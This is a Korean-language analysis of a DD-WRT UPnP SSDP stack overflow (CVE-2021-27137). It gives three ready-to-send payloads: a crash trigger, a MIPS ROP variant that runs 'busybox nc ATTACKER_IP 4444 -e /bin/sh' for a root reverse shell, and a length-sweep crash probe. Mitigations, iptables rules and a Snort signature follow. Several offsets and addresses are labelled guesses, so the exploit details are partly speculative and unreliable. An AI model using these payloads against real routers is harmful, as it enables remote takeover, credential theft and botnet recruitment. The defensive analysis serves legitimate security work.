CVE-2021-27137 — 기본 분석
공격 방법
① 취약 컴포넌트: DD-WRT 펌웨어의 router/upnp/src/ssdp.c 내 ssdp_msearch() 함수. 영향 버전은 build 45724 이전 전체이며, MiniUPnP 계열이 아닌 DD-WRT 자체 구현입니다. UPnP 서비스(upnpd)는 기본 비활성이지만, 사용자가 UI(Services → UPnP)에서 활성화 시 udp/1900(SSDP) 및 tcp/5000·49152(gena/soap) 를 LAN 브릿지(br0)에 바인딩합니다. 추정: 일부 커스텀 빌드/커뮤니티 이미지에서는 기본 활성 또는 WAN 인터페이스에도 바인딩되어 원격 노출.
② 공격 전제조건: 인증 불필요(pre-auth). 네트워크 위치는 대상 라우터와 동일 L2 세그먼트(LAN/WLAN 게스트 포함) 이거나, WAN 측에서 udp/1900 이 필터링되지 않은 잘못 구성된 라우터. UPnP 데몬(upnpd)이 running 상태여야 하며, nvram get upnp_enable=1 상태. 추정: IPv6 링크로컬(ff02::c) 로도 트리거 가능.
③ 트리거 경로: 공격자가 udp/1900 에 M-SEARCH * HTTP/1.1 SSDP 요청을 전송하면 ssdp.c 의 ssdp_msearch() 가 recvfrom() 버퍼에서 헤더를 파싱합니다. ST(Search Target) 또는 MAN 헤더 값(또는 요청 라인 자체)을 고정 크기 스택 버퍼(추정: char st[64] 또는 char buf[256])에 strcpy()/sprintf() 로 길이 검사 없이 복사합니다. 헤더 값에 256~1024 바이트의 A 패딩 + 리턴 주소 오버라이트를 배치하면 스택의 saved return address 또는 saved $ra(MIPS/ARM) 을 덮어 제어권을 획득합니다. DD-WRT 는 MIPS/ARM 기반이고 upnpd 는 root 로 실행되며, 대부분 빌드에서 NX/ASLR 완화가 부분 적용(스택 실행 방지는 있으나 라이브러리 ASLR 미흡)되어 ROP 로 우회 가능.
④ 성공 시 영향: upnpd 프로세스 컨텍스트(root) 에서의 원격 코드 실행. 라우터 완전 장악 → nvram 자격증명(admin_password, wpa_psk) 유출, DNS/게이트웨이 변조를 통한 클라이언트 MITM, WAN↔LAN 트래픽 스니핑, 펌웨어 재flash 를 통한 지속성(bootloader 수준 backdoor), 그리고 LAN 내부 호스트로의 pivot(SSH tunnel, socks proxy 기동), 봇넷 편입(Mirai/Gafgyt 변종) 가능.
페이로드 예시
예시 1
1# 용도: 기본 M-SEARCH 스택 오버플로우 트리거 — ST 헤더에 과대 문자열을 넣어 ssdp_msearch() 의 strcpy() 를 폭주시킴 2python3 -c " 3import socket 4payload = b'M-SEARCH * HTTP/1.1 5' 6payload += b'HOST: 239.255.255.250:1900 7' 8payload += b'MAN: \"ssdp:discover\" 9'10payload += b'MX: 211'12# 핵심: ST 헤더 값이 ssdp.c 내부 고정 버퍼(추정 64~256B)로 strcpy 됨 — 헤더 길이 검사 부재로 saved return address 오버라이트13payload += b'ST: ' + b'A'*1024 + b'14'15payload += b'16'17s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)18s.sendto(payload, ('TARGET_HOST', 1900))19"20# 확인 포인트: upnpd 데몬 crash → 이후 M-SEARCH 응답 부재, 라우터 시스템 로그에 'Segmentation fault' 또는 kernel oops, UPnP 포트 매핑 기능 불능예시 2
1# 용도: MIPS ROP 를 통한 실제 RCE 변형 — return address 를 system() 유사 gadget 으로 덮어 리버스셸 획득 2python3 -c " 3import socket, struct 4# 핵심: MIPS little-endian(MIPSEL) 기준, saved $ra offset 은 추정 260 바이트. libc/uClibc 의 system() 주소는 각 빌드마다 상이 → 사전 정보수집 필요 5SYSTEM_ADDR = 0x2ab12340 # 추정: uClibc system() 주소 (빌드별 상이) 6CMD_ADDR = 0x7fff0500 # 추정: 스택상 명령문자열 위치 7ra_offset = 260 8cmd = b'busybox nc ATTACKER_IP 4444 -e /bin/sh;' 9buf = cmd + b'\x00'10buf += b'A' * (ra_offset - len(buf))11buf += struct.pack('<I', SYSTEM_ADDR) # saved $ra → system()12buf += struct.pack('<I', CMD_ADDR) # $a0 후보 (gadget 로 로드)13req = b'M-SEARCH * HTTP/1.114'15req += b'HOST: 239.255.255.250:190016'17req += b'MAN: \"ssdp:discover\"18'19req += b'MX: 220'21req += b'ST: ' + buf + b'22 23'24socket.socket(socket.AF_INET, socket.SOCK_DGRAM).sendto(req, ('TARGET_HOST', 1900))25"26# 확인 포인트: ATTACKER_IP:4444 에 `nc -lvnp 4444` 리스너에서 root 셸 유입, `id` 실행 시 uid=0(root)예시 3
1# 용도: blind DoS/canary 변형 — 응답이 없는 UDP 특성상 upnpd 재시작 시간으로 취약 여부 판별 + 다른 헤더(MAN) 진입점 사용 2for i in 64 128 256 512 1024 2048; do 3 # 핵심: strcpy 는 ST 뿐 아니라 MAN 헤더 파싱에서도 발생 가능(추정) — 진입점 다양화로 필터 우회 4 python3 -c " 5import socket, sys 6n = int(sys.argv[1]) 7p = b'M-SEARCH * HTTP/1.1 8' 9p += b'HOST: 239.255.255.250:190010'11p += b'MAN: ' + b'\"' + b'B'*n + b'\"' + b'12'13p += b'MX: 214ST: ssdp:all15 16'17socket.socket(socket.AF_INET, socket.SOCK_DGRAM).sendto(p, ('TARGET_HOST', 1900))18print('sent', n)19" $i20 sleep 121 # 확인 포인트: 정상 M-SEARCH 로 응답 유무 폴링 → 특정 길이 이상에서 upnpd 무응답/재기동 지연(>5s) = 오버플로우 트리거 크기 특정. 외부 canary: 페이로드에 유니크 magic(0xDEADBEEF) 삽입 후 크래시 덤프에서 검색22 nmap -sU -p1900 --script=upnp-info TARGET_HOST | grep -q 'Server:' || echo "upnpd DOWN at len=$i"23done완화 방안
- [버전업그레이드] DD-WRT build 45724 이상으로 펌웨어 업그레이드 — 커밋에서 ssdp.c 의 strcpy() 가 strlcpy(dst, src, sizeof(dst)) / snprintf 로 교체되어 위 payload 의 A1024 및 B2048 헤더 값이 버퍼 크기(예: 64) 에서 절단됨.
nvram get os_version로 확인. - [설정변경] 즉시 완화: UPnP 서비스 비활성화 — Services → UPnP → Disable 후
nvram set upnp_enable=0 && nvram commit && stopservice upnpd. udp/1900 리스너 자체가 사라져 M-SEARCH 페이로드가 커널 단에서 ICMP unreachable 로 drop, ssdp_msearch() 진입 불가. - [코드패치] router/upnp/src/ssdp.c 의 ssdp_msearch() 내 헤더 복사 지점 패치 — 수정 전:
strcpy(st_buf, hdr_val);/ 수정 후:if (strlen(hdr_val) >= sizeof(st_buf)) return -1; strlcpy(st_buf, hdr_val, sizeof(st_buf));. ST/MAN 값 길이가 63 초과 시 조기 반환 → payload 의 1024/2048 바이트가 스택 프레임에 진입조차 못 함. 추가로 함수 진입부에-fstack-protector-strong컴파일 옵션 및 GCC canary 활성화. - [WAF·네트워크] iptables INPUT 룰로 WAN·게스트 VLAN 에서 SSDP 차단 및 LAN 내부에서도 비정상 길이 M-SEARCH drop —
iptables -A INPUT -i vlan2 -p udp --dport 1900 -j DROP및iptables -A INPUT -p udp --dport 1900 -m length --length 512:65535 -j DROP. length 매치가 payload 의 ST: AAAA... 로 부풀려진 512B+ UDP 데이터그램을 커널에서 폐기해 upnpd 도달 전 차단. Snort 룰 예시:alert udp any any -> $HOME_NET 1900 (msg:"DD-WRT SSDP oversize header CVE-2021-27137"; content:"M-SEARCH"; nocase; pcre:"/^(ST|MAN)\s*:\s*[^ ]{200,}/mi"; sid:2027137;)— pcre 가 ST/MAN 헤더 값 200자 초과를 매칭.